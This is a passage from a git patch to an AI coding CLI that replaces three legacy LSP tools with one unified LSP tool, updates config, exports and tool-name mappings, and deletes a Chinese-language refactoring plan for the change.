string[]; }; lspClient?: LspClient; userMemory?: string; @@ -444,8 +439,6 @@ export class Config { private readonly mcpServerCommand: string | undefined; private mcpServers: Record | undefined; private readonly lspEnabled: boolean; - private readonly lspAllowed?: string[]; - private readonly lspExcluded?: string[]; private lspClient?: LspClient; private readonly allowedMcpServers?: string[]; private readonly excludedMcpServers?: string[]; @@ -551,8 +544,6 @@ export class Config { this.mcpServerCommand = params.mcpServerCommand; this.mcpServers = params.mcpServers; this.lspEnabled = params.lsp?.enabled ?? false; - this.lspAllowed = params.lsp?.allowed?.filter(Boolean); - this.lspExcluded = params.lsp?.excluded?.filter(Boolean); this.lspClient = params.lspClient; this.allowedMcpServers = params.allowedMcpServers; this.excludedMcpServers = params.excludedMcpServers; @@ -1120,14 +1111,6 @@ export class Config { return this.lspEnabled; } - getLspAllowed(): string[] | undefined { - return this.lspAllowed; - } - - getLspExcluded(): string[] | undefined { - return this.lspExcluded; - } - getLspClient(): LspClient | undefined { return this.lspClient; } @@ -1690,12 +1673,8 @@ export class Config { registerCoreTool(WebSearchTool, this); } if (this.isLspEnabled() && this.getLspClient()) { - // Register the unified LSP tool (recommended) + // Register the unified LSP tool registerCoreTool(LspTool, this); - // Keep legacy tools for backward compatibility - registerCoreTool(LspGoToDefinitionTool, this); - registerCoreTool(LspFindReferencesTool, this); - registerCoreTool(LspWorkspaceSymbolTool, this); } await registry.discoverAllTools(); diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 6b535a763..42950ffb9 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -116,7 +116,6 @@ export * from './extension/index.js'; // Export prompt logic export * from './prompts/mcp-prompts.js'; -export * from './lsp/types.js'; // Export specific tool logic export * from './tools/read-file.js'; @@ -131,8 +130,6 @@ export * from './tools/memoryTool.js'; export * from './tools/shell.js'; export * from './tools/web-search/index.js'; export * from './tools/read-many-files.js'; -export * from './tools/lsp-go-to-definition.js'; -export * from './tools/lsp-find-references.js'; export * from './tools/mcp-client.js'; export * from './tools/mcp-client-manager.js'; export * from './tools/mcp-tool.js'; @@ -142,6 +139,10 @@ export * from './tools/skill.js'; export * from './tools/todoWrite.js'; export * from './tools/exitPlanMode.js'; +// Export LSP types and tools +export * from './lsp/types.js'; +export * from './tools/lsp.js'; + // MCP OAuth export { MCPOAuthProvider } from './mcp/oauth-provider.js'; export type { diff --git a/packages/core/src/lsp/types.ts b/packages/core/src/lsp/types.ts index 1602b286c..780a45718 100644 --- a/packages/core/src/lsp/types.ts +++ b/packages/core/src/lsp/types.ts @@ -1,6 +1,6 @@ /** * @license - * Copyright 2025 Google LLC + * Copyright 2025 Qwen Team * SPDX-License-Identifier: Apache-2.0 */ @@ -98,7 +98,11 @@ export interface LspCallHierarchyOutgoingCall { /** * Diagnostic severity levels from LSP specification. */ -export type LspDiagnosticSeverity = 'error' | 'warning' | 'information' | 'hint'; +export type LspDiagnosticSeverity = + | 'error' + | 'warning' + | 'information' + | 'hint'; /** * A diagnostic message from a language server. @@ -326,10 +330,7 @@ export interface LspClient { /** * Get diagnostics for a specific document. */ - diagnostics( - uri: string, - serverName?: string, - ): Promise; + diagnostics(uri: string, serverName?: string): Promise; /** * Get diagnostics for all open documents in the workspace. diff --git a/packages/core/src/tools/lsp-find-references.ts b/packages/core/src/tools/lsp-find-references.ts deleted file mode 100644 index 5f7127dba..000000000 --- a/packages/core/src/tools/lsp-find-references.ts +++ /dev/null @@ -1,308 +0,0 @@ -/** - * @license - * Copyright 2025 Google LLC - * SPDX-License-Identifier: Apache-2.0 - */ - -import path from 'node:path'; -import { fileURLToPath, pathToFileURL } from 'node:url'; -import type { ToolInvocation, ToolResult } from './tools.js'; -import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; -import { ToolDisplayNames, ToolNames } from './tool-names.js'; -import type { Config } from '../config/config.js'; -import type { LspClient, LspLocation, LspReference } from '../lsp/types.js'; - -export interface LspFindReferencesParams { - /** - * Symbol name to resolve if a file/position is not provided. - */ - symbol?: string; - /** - * File path (absolute or workspace-relative). - * Use together with `line` (1-based) and optional `character` (1-based). - */ - file?: string; - /** - * File URI (e.g., file:///path/to/file). - * Use together with `line` (1-based) and optional `character` (1-based). - */ - uri?: string; - /** - * 1-based line number when targeting a specific file location. - */ - line?: number; - /** - * 1-based character/column number when targeting a specific file location. - */ - character?: number; - /** - * Whether to include the declaration in results (default: false). - */ - includeDeclaration?: boolean; - /** - * Optional server name override. - */ - serverName?: string; - /** - * Optional maximum number of results. - */ - limit?: number; -} - -type ResolvedTarget = - | { - location: LspLocation; - description: string; - serverName?: string; - fromSymbol: boolean; - } - | { error: string }; - -class LspFindReferencesInvocation extends BaseToolInvocation< - LspFindReferencesParams, - ToolResult -> { - constructor( - private readonly config: Config, - params: LspFindReferencesParams, - ) { - super(params); - } - - getDescription(): string { - if (this.params.symbol) { - return `LSP find-references（查引用） for symbol "${this.params.symbol}"`; - } - if (this.params.file && this.params.line !== undefined) { - return `LSP find-references（查引用） at ${this.params.file}:${this.params.line}:${this.params.character ?? 1}`; - } - if (this.params.uri && this.params.line !== undefined) { - return `LSP find-references（查引用） at ${this.params.uri}:${this.params.line}:${this.params.character ?? 1}`; - } - return 'LSP find-references（查引用）'; - } - - async execute(_signal: AbortSignal): Promise { - const client = this.config.getLspClient(); - if (!client || !this.config.isLspEnabled()) { - const message = - 'LSP find-references is unavailable (LSP disabled or not initialized).'; - return { llmContent: message, returnDisplay: message }; - } - - const target = await this.resolveTarget(client); - if ('error' in target) { - return { llmContent: target.error, returnDisplay: target.error }; - } - - const limit = this.params.limit ?? 50; - let references: LspReference[] = []; - try { - references = await client.references( - target.location, - target.serverName, - this.params.includeDeclaration ?? false, - limit, - ); - } catch (error) { - const message = `LSP find-references failed: ${ - (error as Error)?.message || String(error) - }`; - return { llmContent: message, returnDisplay: message }; - } - - if (!references.length) { - const message = `No references found for ${target.description}.`; - return { llmContent: message, returnDisplay: message }; - } - - const workspaceRoot = this.config.getProjectRoot(); - const lines = references - .slice(0, limit) - .map( - (reference, index) => - `${index + 1}. ${this.formatLocation(reference, workspaceRoot)}`, - ); - - const heading = `References for ${target.description}:`; - return { - llmContent: [heading, ...lines].join('\n'), - returnDisplay: lines.join('\n'), - }; - } - - private async resolveTarget( - client: Pick, - ): Promise { - const workspaceRoot = this.config.getProjectRoot(); - const lineProvided = typeof this.params.line === 'number'; - const character = this.params.character ?? 1; - - if ((this.params.file || this.params.uri) && lineProvided) { - const uri = this.resolveUri(workspaceRoot); - if (!uri) { - return { - error: - 'A valid file path or URI is required when specifying a line/character.', - }; - } - const position = { - line: Math.max(0, Math.floor((this.params.line ?? 1) - 1)), - character: Math.max(0, Math.floor(character - 1)), - }; - const location: LspLocation = { - uri, - range: { start: position, end: position }, - }; - const description = this.formatLocation( - { ...location, serverName: this.params.serverName }, - workspaceRoot, - ); - return { - location, - description, - serverName: this.params.serverName, - fromSymbol: false, - }; - } - - if (this.params.symbol) { - try { - const symbols = await client.workspaceSymbols(this.params.symbol, 5); - if (!symbols.length) { - return { - error: `No symbols found for query "${this.params.symbol}".`, - }; - } - const top = symbols[0]; - return { - location: top.location, - description: `symbol "${this.params.symbol}"`, - serverName: this.params.serverName ?? top.serverName, - fromSymbol: true, - }; - } catch (error) { - return { - error: `Workspace symbol search failed: ${ - (error as Error)?.message || String(error) - }`, - }; - } - } - - return { - error: - 'Provide a symbol name or a file plus line (and optional character) to use find-references.', - }; - } - - private resolveUri(workspaceRoot: string): string | null { - if (this.params.uri) { - if ( - this.params.uri.startsWith('file://') || - this.params.uri.includes('://') - ) { - return this.params.uri; - } - const absoluteUriPath = path.isAbsolute(this.params.uri) - ? this.params.uri - : path.resolve(workspaceRoot, this.params.uri); - return pathToFileURL(absoluteUriPath).toString(); - } - - if (this.params.file) { - const absolutePath = path.isAbsolute(this.params.file) - ? this.params.file - : path.resolve(workspaceRoot, this.params.file); - return pathToFileURL(absolutePath).toString(); - } - - return null; - } - - private formatLocation( - location: LspReference | (LspLocation & { serverName?: string }), - workspaceRoot: string, - ): string { - const start = location.range.start; - let filePath = location.uri; - - if (filePath.startsWith('file://')) { - filePath = fileURLToPath(filePath); - filePath = path.relative(workspaceRoot, filePath) || '.'; - } - - const serverSuffix = - location.serverName && location.serverName !== '' - ? ` [${location.serverName}]` - : ''; - - return `${filePath}:${(start.line ?? 0) + 1}:${(start.character ?? 0) + 1}${serverSuffix}`; - } -} - -export class LspFindReferencesTool extends BaseDeclarativeTool< - LspFindReferencesParams, - ToolResult -> { - static readonly Name = ToolNames.LSP_FIND_REFERENCES; - - constructor(private readonly config: Config) { - super( - LspFindReferencesTool.Name, - ToolDisplayNames.LSP_FIND_REFERENCES, - 'Use LSP find-references for a symbol or a specific file location（查引用，优先于 grep 搜索）。', - Kind.Other, - { - type: 'object', - properties: { - symbol: { - type: 'string', - description: - 'Symbol name to resolve when a file/position is not provided.', - }, - file: { - type: 'string', - description: - 'File path (absolute or workspace-relative). Requires `line`.', - }, - uri: { - type: 'string', - description: - 'File URI (file:///...). Requires `line` when provided.', - }, - line: { - type: 'number', - description: '1-based line number for the target location.', - }, - character: { - type: 'number', - description: - '1-based character/column number for the target location.', - }, - includeDeclaration: { - type: 'boolean', - description: - 'Include the declaration itself when looking up references.', - }, - serverName: { - type: 'string', - description: 'Optional LSP server name to target.', - }, - limit: { - type: 'number', - description: 'Optional maximum number of results to return.', - }, - }, - }, - false, - false, - ); - } - - protected createInvocation( - params: LspFindReferencesParams, - ): ToolInvocation { - return new LspFindReferencesInvocation(this.config, params); - } -} diff --git a/packages/core/src/tools/lsp-go-to-definition.ts b/packages/core/src/tools/lsp-go-to-definition.ts deleted file mode 100644 index 54e093545..000000000 --- a/packages/core/src/tools/lsp-go-to-definition.ts +++ /dev/null @@ -1,308 +0,0 @@ -/** - * @license - * Copyright 2025 Google LLC - * SPDX-License-Identifier: Apache-2.0 - */ - -import path from 'node:path'; -import { fileURLToPath, pathToFileURL } from 'node:url'; -import type { ToolInvocation, ToolResult } from './tools.js'; -import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; -import { ToolDisplayNames, ToolNames } from './tool-names.js'; -import type { Config } from '../config/config.js'; -import type { LspClient, LspDefinition, LspLocation } from '../lsp/types.js'; - -export interface LspGoToDefinitionParams { - /** - * Symbol name to resolve if a file/position is not provided. - */ - symbol?: string; - /** - * File path (absolute or workspace-relative). - * Use together with `line` (1-based) and optional `character` (1-based). - */ - file?: string; - /** - * File URI (e.g., file:///path/to/file). - * Use together with `line` (1-based) and optional `character` (1-based). - */ - uri?: string; - /** - * 1-based line number when targeting a specific file location. - */ - line?: number; - /** - * 1-based character/column number when targeting a specific file location. - */ - character?: number; - /** - * Optional server name override. - */ - serverName?: string; - /** - * Optional maximum number of results. - */ - limit?: number; -} - -type ResolvedTarget = - | { - location: LspLocation; - description: string; - serverName?: string; - fromSymbol: boolean; - } - | { error: string }; - -class LspGoToDefinitionInvocation extends BaseToolInvocation< - LspGoToDefinitionParams, - ToolResult -> { - constructor( - private readonly config: Config, - params: LspGoToDefinitionParams, - ) { - super(params); - } - - getDescription(): string { - if (this.params.symbol) { - return `LSP go-to-definition（跳转定义） for symbol "${this.params.symbol}"`; - } - if (this.params.file && this.params.line !== undefined) { - return `LSP go-to-definition（跳转定义） at ${this.params.file}:${this.params.line}:${this.params.character ?? 1}`; - } - if (this.params.uri && this.params.line !== undefined) { - return `LSP go-to-definition（跳转定义） at ${this.params.uri}:${this.params.line}:${this.params.character ?? 1}`; - } - return 'LSP go-to-definition（跳转定义）'; - } - - async execute(_signal: AbortSignal): Promise { - const client = this.config.getLspClient(); - if (!client || !this.config.isLspEnabled()) { - const message = - 'LSP go-to-definition is unavailable (LSP disabled or not initialized).'; - return { llmContent: message, returnDisplay: message }; - } - - const target = await this.resolveTarget(client); - if ('error' in target) { - return { llmContent: target.error, returnDisplay: target.error }; - } - - const limit = this.params.limit ?? 20; - let definitions: LspDefinition[] = []; - try { - definitions = await client.definitions( - target.location, - target.serverName, - limit, - ); - } catch (error) { - const message = `LSP go-to-definition failed: ${ - (error as Error)?.message || String(error) - }`; - return { llmContent: message, returnDisplay: message }; - } - - // Fallback to the resolved symbol location if the server does not return definitions. - if (!definitions.length && target.fromSymbol) { - definitions = [ - { - ...target.location, - serverName: target.serverName, - }, - ]; - } - - if (!definitions.length) { - const message = `No definitions found for ${target.description}.`; - return { llmContent: message, returnDisplay: message }; - } - - const workspaceRoot = this.config.getProjectRoot(); - const lines = definitions - .slice(0, limit) - .map( - (definition, index) => - `${index + 1}. ${this.formatLocation(definition, workspaceRoot)}`, - ); - - const heading = `Definitions for ${target.description}:`; - return { - llmContent: [heading, ...lines].join('\n'), - returnDisplay: lines.join('\n'), - }; - } - - private async resolveTarget( - client: Pick, - ): Promise { - const workspaceRoot = this.config.getProjectRoot(); - const lineProvided = typeof this.params.line === 'number'; - const character = this.params.character ?? 1; - - if ((this.params.file || this.params.uri) && lineProvided) { - const uri = this.resolveUri(workspaceRoot); - if (!uri) { - return { - error: - 'A valid file path or URI is required when specifying a line/character.', - }; - } - const position = { - line: Math.max(0, Math.floor((this.params.line ?? 1) - 1)), - character: Math.max(0, Math.floor(character - 1)), - }; - const location: LspLocation = { - uri, - range: { start: position, end: position }, - }; - const description = this.formatLocation( - { ...location, serverName: this.params.serverName }, - workspaceRoot, - ); - return { - location, - description, - serverName: this.params.serverName, - fromSymbol: false, - }; - } - - if (this.params.symbol) { - try { - const symbols = await client.workspaceSymbols(this.params.symbol, 5); - if (!symbols.length) { - return { - error: `No symbols found for query "${this.params.symbol}".`, - }; - } - const top = symbols[0]; - return { - location: top.location, - description: `symbol "${this.params.symbol}"`, - serverName: this.params.serverName ?? top.serverName, - fromSymbol: true, - }; - } catch (error) { - return { - error: `Workspace symbol search failed: ${ - (error as Error)?.message || String(error) - }`, - }; - } - } - - return { - error: - 'Provide a symbol name or a file plus line (and optional character) to use go-to-definition.', - }; - } - - private resolveUri(workspaceRoot: string): string | null { - if (this.params.uri) { - if ( - this.params.uri.startsWith('file://') || - this.params.uri.includes('://') - ) { - return this.params.uri; - } - const absoluteUriPath = path.isAbsolute(this.params.uri) - ? this.params.uri - : path.resolve(workspaceRoot, this.params.uri); - return pathToFileURL(absoluteUriPath).toString(); - } - - if (this.params.file) { - const absolutePath = path.isAbsolute(this.params.file) - ? this.params.file - : path.resolve(workspaceRoot, this.params.file); - return pathToFileURL(absolutePath).toString(); - } - - return null; - } - - private formatLocation( - location: LspDefinition | (LspLocation & { serverName?: string }), - workspaceRoot: string, - ): string { - const start = location.range.start; - let filePath = location.uri; - - if (filePath.startsWith('file://')) { - filePath = fileURLToPath(filePath); - filePath = path.relative(workspaceRoot, filePath) || '.'; - } - - const serverSuffix = - location.serverName && location.serverName !== '' - ? ` [${location.serverName}]` - : ''; - - return `${filePath}:${(start.line ?? 0) + 1}:${(start.character ?? 0) + 1}${serverSuffix}`; - } -} - -export class LspGoToDefinitionTool extends BaseDeclarativeTool< - LspGoToDefinitionParams, - ToolResult -> { - static readonly Name = ToolNames.LSP_GO_TO_DEFINITION; - - constructor(private readonly config: Config) { - super( - LspGoToDefinitionTool.Name, - ToolDisplayNames.LSP_GO_TO_DEFINITION, - 'Use LSP go-to-definition for a symbol or a specific file location（跳转定义，优先于 grep 搜索）。', - Kind.Other, - { - type: 'object', - properties: { - symbol: { - type: 'string', - description: - 'Symbol name to resolve when a file/position is not provided.', - }, - file: { - type: 'string', - description: - 'File path (absolute or workspace-relative). Requires `line`.', - }, - uri: { - type: 'string', - description: - 'File URI (file:///...). Requires `line` when provided.', - }, - line: { - type: 'number', - description: '1-based line number for the target location.', - }, - character: { - type: 'number', - description: - '1-based character/column number for the target location.', - }, - serverName: { - type: 'string', - description: 'Optional LSP server name to target.', - }, - limit: { - type: 'number', - description: 'Optional maximum number of results to return.', - }, - }, - }, - false, - false, - ); - } - - protected createInvocation( - params: LspGoToDefinitionParams, - ): ToolInvocation { - return new LspGoToDefinitionInvocation(this.config, params); - } -} diff --git a/packages/core/src/tools/lsp-workspace-symbol.ts b/packages/core/src/tools/lsp-workspace-symbol.ts deleted file mode 100644 index be016a02d..000000000 --- a/packages/core/src/tools/lsp-workspace-symbol.ts +++ /dev/null @@ -1,180 +0,0 @@ -/** - * @license - * Copyright 2025 Google LLC - * SPDX-License-Identifier: Apache-2.0 - */ - -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import type { ToolInvocation, ToolResult } from './tools.js'; -import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; -import { ToolDisplayNames, ToolNames } from './tool-names.js'; -import type { Config } from '../config/config.js'; -import type { LspSymbolInformation } from '../lsp/types.js'; - -export interface LspWorkspaceSymbolParams { - /** - * Query string to search symbols (e.g., function or class name). - */ - query: string; - /** - * Maximum number of results to return. - */ - limit?: number; -} - -class LspWorkspaceSymbolInvocation extends BaseToolInvocation< - LspWorkspaceSymbolParams, - ToolResult -> { - constructor( - private readonly config: Config, - params: LspWorkspaceSymbolParams, - ) { - super(params); - } - - getDescription(): string { - return `LSP workspace symbol search（按名称找定义/实现/引用） for "${this.params.query}"`; - } - - async execute(_signal: AbortSignal): Promise { - const client = this.config.getLspClient(); - if (!client || !this.config.isLspEnabled()) { - const message = - 'LSP workspace symbol search is unavailable (LSP disabled or not initialized).'; - return { llmContent: message, returnDisplay: message }; - } - - const limit = this.params.limit ?? 20; - let symbols: LspSymbolInformation[] = []; - try { - symbols = await client.workspaceSymbols(this.params.query, limit); - } catch (error) { - const message = `LSP workspace symbol search failed: ${ - (error as Error)?.message || String(error) - }`; - return { llmContent: message, returnDisplay: message }; - } - - if (!symbols.length) { - const message = `No symbols found for query "${this.params.query}".`; - return { llmContent: message, returnDisplay: message }; - } - - const workspaceRoot = this.config.getProjectRoot(); - const lines = symbols.slice(0, limit).map((symbol, index) => { - const location = this.formatLocation(symbol, workspaceRoot); - const serverSuffix = symbol.serverName - ? ` [${symbol.serverName}]` - : ''; - const kind = symbol.kind ? ` (${symbol.kind})` : ''; - const container = symbol.containerName - ? ` in ${symbol.containerName}` - : ''; - return `${index + 1}. ${symbol.name}${kind}${container} - ${location}${serverSuffix}`; - }); - - const heading = `Found ${Math.min(symbols.length, limit)} of ${ - symbols.length - } symbols for query "${this.params.query}":`; - - let referenceSection = ''; - const topSymbol = symbols[0]; - if (topSymbol) { - try { - const referenceLimit = Math.min(20, Math.max(limit, 5)); - const references = await client.references( - topSymbol.location, - topSymbol.serverName, - false, - referenceLimit, - ); - if (references.length > 0) { - const refLines = references.map((ref, index) => { - const location = this.formatLocation( - { location: ref, name: '', kind: undefined }, - workspaceRoot, - ); - const serverSuffix = ref.serverName - ? ` [${ref.serverName}]` - : ''; - return `${index + 1}. ${location}${serverSuffix}`; - }); - referenceSection = [ - '', - `References for top match (${topSymbol.name}):`, - ...refLines, - ].join('\n'); - } - } catch (error) { - referenceSection = `\nReferences lookup failed: ${ - (error as Error)?.message || String(error) - }`; - } - } - - const llmParts = referenceSection - ? [heading, ...lines, referenceSection] - : [heading, ...lines]; - const displayParts = referenceSection - ? [...lines, referenceSection] - : [...lines]; - - return { - llmContent: llmParts.join('\n'), - returnDisplay: displayParts.join('\n'), - }; - } - - private formatLocation(symbol: LspSymbolInformation, workspaceRoot: string) { - const { uri, range } = symbol.location; - let filePath = uri; - if (uri.startsWith('file://')) { - filePath = fileURLToPath(uri); - filePath = path.relative(workspaceRoot, filePath) || '.'; - } - const line = (range.start.line ?? 0) + 1; - const character = (range.start.character ?? 0) + 1; - return `${filePath}:${line}:${character}`; - } -} - -export class LspWorkspaceSymbolTool extends BaseDeclarativeTool< - LspWorkspaceSymbolParams, - ToolResult -> { - static readonly Name = ToolNames.LSP_WORKSPACE_SYMBOL; - - constructor(private readonly config: Config) { - super( - LspWorkspaceSymbolTool.Name, - ToolDisplayNames.LSP_WORKSPACE_SYMBOL, - 'Search workspace symbols via LSP（查找定义/实现/引用，按名称定位符号，优先于 grep）。', - Kind.Other, - { - type: 'object', - properties: { - query: { - type: 'string', - description: - 'Symbol name query, e.g., function/class/variable name to search.', - }, - limit: { - type: 'number', - description: 'Optional maximum number of results to return.', - }, - }, - required: ['query'], - }, - false, - false, - ); - } - - protected createInvocation( - params: LspWorkspaceSymbolParams, - ): ToolInvocation { - return new LspWorkspaceSymbolInvocation(this.config, params); - } -} diff --git a/packages/core/src/tools/lsp.test.ts b/packages/core/src/tools/lsp.test.ts index 03a8747ab..74b5c4067 100644 --- a/packages/core/src/tools/lsp.test.ts +++ b/packages/core/src/tools/lsp.test.ts @@ -1,6 +1,6 @@ /** * @license - * Copyright 2025 Google LLC + * Copyright 2025 Qwen Team * SPDX-License-Identifier: Apache-2.0 */ @@ -1163,11 +1163,11 @@ describe('LspTool', () => { // Should include at least these definitions expect(definitionNames).toEqual( expect.arrayContaining([ - 'LspCallHierarchyItem', - 'LspDiagnostic', - 'LspPosition', - 'LspRange', - ]), + 'LspCallHierarchyItem', + 'LspDiagnostic', + 'LspPosition', + 'LspRange', + ]), ); }); }); diff --git a/packages/core/src/tools/lsp.ts b/packages/core/src/tools/lsp.ts index 065414d8b..0a8fd0b76 100644 --- a/packages/core/src/tools/lsp.ts +++ b/packages/core/src/tools/lsp.ts @@ -1,6 +1,6 @@ /** * @license - * Copyright 2025 Google LLC + * Copyright 2025 Qwen Team * SPDX-License-Identifier: Apache-2.0 */ diff --git a/packages/core/src/tools/tool-names.ts b/packages/core/src/tools/tool-names.ts index d9a5ef772..aa3687aba 100644 --- a/packages/core/src/tools/tool-names.ts +++ b/packages/core/src/tools/tool-names.ts @@ -25,9 +25,6 @@ export const ToolNames = { WEB_FETCH: 'web_fetch', WEB_SEARCH: 'web_search', LS: 'list_directory', - LSP_WORKSPACE_SYMBOL: 'lsp_workspace_symbol', - LSP_GO_TO_DEFINITION: 'lsp_go_to_definition', - LSP_FIND_REFERENCES: 'lsp_find_references', /** Unified LSP tool supporting all LSP operations. */ LSP: 'lsp', } as const; @@ -53,9 +50,6 @@ export const ToolDisplayNames = { WEB_FETCH: 'WebFetch', WEB_SEARCH: 'WebSearch', LS: 'ListFiles', - LSP_WORKSPACE_SYMBOL: 'LspWorkspaceSymbol', - LSP_GO_TO_DEFINITION: 'LspGoToDefinition', - LSP_FIND_REFERENCES: 'LspFindReferences', /** Unified LSP tool display name. */ LSP: 'Lsp', } as const; @@ -66,8 +60,9 @@ export const ToolDisplayNames = { export const ToolNamesMigration = { search_file_content: ToolNames.GREP, // Legacy name from grep tool replace: ToolNames.EDIT, // Legacy name from edit tool - go_to_definition: ToolNames.LSP_GO_TO_DEFINITION, - find_references: ToolNames.LSP_FIND_REFERENCES, + // Legacy LSP tools now use unified LSP tool with operation parameter + go_to_definition: ToolNames.LSP, + find_references: ToolNames.LSP, } as const; // Migration from old tool display names to new tool display names diff --git a/packages/vscode-ide-companion/LSP_REFACTORING_PLAN.md b/packages/vscode-ide-companion/LSP_REFACTORING_PLAN.md deleted file mode 100644 index e3660926e..000000000 --- a/packages/vscode-ide-companion/LSP_REFACTORING_PLAN.md +++ /dev/null @@ -1,255 +0,0 @@ -# LSP 工具重构计划 - -## 背景 - -对比 Claude Code 的 LSP tool 定义和当前实现，发现以下关键差异： - -### Claude Code 的设计（目标） - -```json -{ - "name": "LSP", - "operations": [ - "goToDefinition", - "findReferences", - "hover", - "documentSymbol", - "workspaceSymbol", - "goToImplementation", - "prepareCallHierarchy", - "incomingCalls", - "outgoingCalls" - ], - "required_params": ["operation", "filePath", "line", "character"] -} -``` - -### 当前实现 - -- **分散的 3 个工具**：`lsp_go_to_definition`, `lsp_find_references`, `lsp_workspace_symbol` -- **支持 3 个操作**：goToDefinition, findReferences, workspaceSymbol -- **缺少 6 个操作**：hover, documentSymbol, goToImplementation, prepareCallHierarchy, incomingCalls, outgoingCalls - ---- - -## 重构目标 - -1. **统一工具设计**：将 3 个分散的工具合并为 1 个统一的 `LSP` 工具 -2. **扩展操作支持**：添加缺失的 6 个 LSP 操作 -3. **简化参数设计**：统一使用 operation + filePath + line + character 方式 -4. **保持向后兼容**：旧工具名称继续支持 - ---- - -## 实施步骤 - -### Step 1: 扩展类型定义 - -**文件**: `packages/core/src/lsp/types.ts` - -新增类型： - -```typescript -// Hover 结果 -interface LspHoverResult { - contents: string | { language: string; value: string }[]; - range?: LspRange; -} - -// Call Hierarchy 类型 -interface LspCallHierarchyItem { - name: string; - kind: number; - uri: string; - range: LspRange; - selectionRange: LspRange; - detail?: string; - data?: unknown; - serverName?: string; -} - -interface LspCallHierarchyIncomingCall { - from: LspCallHierarchyItem; - fromRanges: LspRange[]; -} - -interface LspCallHierarchyOutgoingCall { - to: LspCallHierarchyItem; - fromRanges: LspRange[]; -} -``` - -扩展 LspClient 接口： - -```typescript -interface LspClient { - // 现有方法 - workspaceSymbols(query, limit): Promise; - definitions(location, serverName, limit): Promise; - references( - location, - serverName, - includeDeclaration, - limit, - ): Promise; - - // 新增方法 - hover(location, serverName): Promise; - documentSymbols(uri, serverName, limit): Promise; - implementations(location, serverName, limit): Promise; - prepareCallHierarchy(location, serverName): Promise; - incomingCalls( - item, - serverName, - limit, - ): Promise; - outgoingCalls( - item, - serverName, - limit, - ): Promise; -} -``` - -### Step 2: 创建统一 LSP 工具 - -**新文件**: `packages/core/src/tools/lsp.ts` - -参数设计（采用灵活的操作特定验证）： - -```typescript -interface LspToolParams { - operation: LspOperation; // 必填 - filePath?: string; // 位置类操作必填 - line?: number; // 精确位置操作必填 (1-based) - character?: number; // 可选 (1-based) - query?: string; // workspaceSymbol 必填 - callHierarchyItem?: object; // incomingCalls/outgoingCalls 必填 - serverName?: string; // 可选 - limit?: number; // 可选 - includeDeclaration?: boolean; // findReferences 可选 -} - -type LspOperation = - | 'goToDefinition' - | 'findReferences' - | 'hover' - | 'documentSymbol' - | 'workspaceSymbol' - | 'goToImplementation' - | 'prepareCallHierarchy' - | 'incomingCalls' - | 'outgoingCalls'; -``` - -各操作参数要求： -| 操作 | filePath | line | character | query | callHierarchyItem | -|------|----------|------|-----------|-------|-------------------| -| goToDefinition | 必填 | 必填 | 可选 | - | - | -| findReferences | 必填 | 必填 | 可选 | - | - | -| hover | 必填 | 必填 | 可选 | - | - | -| documentSymbol | 必填 | - | - | - | - | -| workspaceSymbol | - | - | - | 必填 | - | -| goToImplementation | 必填 | 必填 | 可选 | - | - | -| prepareCallHierarchy | 必填 | 必填 | 可选 | - | - | -| incomingCalls | - | - | - | - | 必填 | -| outgoingCalls | - | - | - | - | 必填 | - -### Step 3: 扩展 NativeLspService - -**文件**: `packages/cli/src/services/lsp/NativeLspService.ts` - -新增 6 个方法： - -1. `hover()` - 调用 `textDocument/hover` -2. `documentSymbols()` - 调用 `textDocument/documentSymbol` -3. `implementations()` - 调用 `textDocument/implementation` -4. `prepareCallHierarchy()` - 调用 `textDocument/prepareCallHierarchy` -5. `incomingCalls()` - 调用 `callHierarchy/incomingCalls` -6. `outgoingCalls()` - 调用 `callHierarchy/outgoingCalls` - -### Step 4: 更新工具名称映射 - -**文件**: `packages/core/src/tools/tool-names.ts` - -```typescript -export const ToolNames = { - LSP: 'lsp', // 新增 - // 保留旧名称（标记 deprecated） - LSP_WORKSPACE_SYMBOL: 'lsp_workspace_symbol', - LSP_GO_TO_DEFINITION: 'lsp_go_to_definition', - LSP_FIND_REFERENCES: 'lsp_find_references', -} as const; - -export const ToolNamesMigration = { - lsp_go_to_definition: ToolNames.LSP, - lsp_find_references: ToolNames.LSP, - lsp_workspace_symbol: ToolNames.LSP, -} as const; -``` - -### Step 5: 更新 Config 工具注册 - -**文件**: `packages/core/src/config/config.ts` - -- 注册新的统一 `LspTool` -- 保留旧工具注册（向后兼容） -- 可通过配置选项禁用旧工具 - -### Step 6: 向后兼容处理 - -**文件**: 现有 3 个 LSP 工具文件 - -- 添加 `@deprecated` 标记 -- 添加 deprecation warning 日志 -- 可选：内部转发到新工具实现 - ---- - -## 关键文件列表 - -| 文件路径 | 操作 | -| --------------------------------------------------- | --------------------------- | -| `packages/core/src/lsp/types.ts` | 修改 - 扩展类型定义 | -| `packages/core/src/tools/lsp.ts` | 新建 - 统一 LSP 工具 | -| `packages/core/src/tools/tool-names.ts` | 修改 - 添加工具名称 | -| `packages/cli/src/services/lsp/NativeLspService.ts` | 修改 - 添加 6 个新方法 | -| `packages/core/src/config/config.ts` | 修改 - 注册新工具 | -| `packages/core/src/tools/lsp-*.ts` (3个) | 修改 - 添加 deprecated 标记 | - ---- - -## 验证方式 - -1. **单元测试**： - - 新 `LspTool` 参数验证测试 - - 各操作执行逻辑测试 - - 向后兼容测试 - -2. **集成测试**： - - TypeScript Language Server 测试所有 9 个操作 - - Python LSP 测试 - - 多服务器场景测试 - -3. **手动验证**： - - 在 VS Code 中测试各操作 - - 验证旧工具名称仍可使用 - - 验证 deprecation warning 输出 - ---- - -## 风险与缓解 - -| 风险 | 缓解措施 | -| --------------------------- | -------------------------------------- | -| 部分 LSP 服务器不支持新操作 | 独立 try-catch，返回清晰错误消息 | -| Call Hierarchy 两步流程复杂 | 文档说明使用方式，提供示例 | -| 向后兼容增加维护成本 | 设置明确弃用时间线，配置选项控制旧工具 | - ---- - -## 后续优化建议 - -1. 考虑是否需要支持更多 LSP 操作（如 `textDocument/rename`, `textDocument/formatting`） -2. 考虑添加 LSP 服务器能力查询，动态返回支持的操作列表 -3. 考虑优化 TypeScript Server warm-up 逻辑，减少首次调用延迟 From 05b56487caa3a6c65a508eb7bdc7a3c65ff7cd37 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Sun, 25 Jan 2026 23:05:56 +0800 Subject: [PATCH 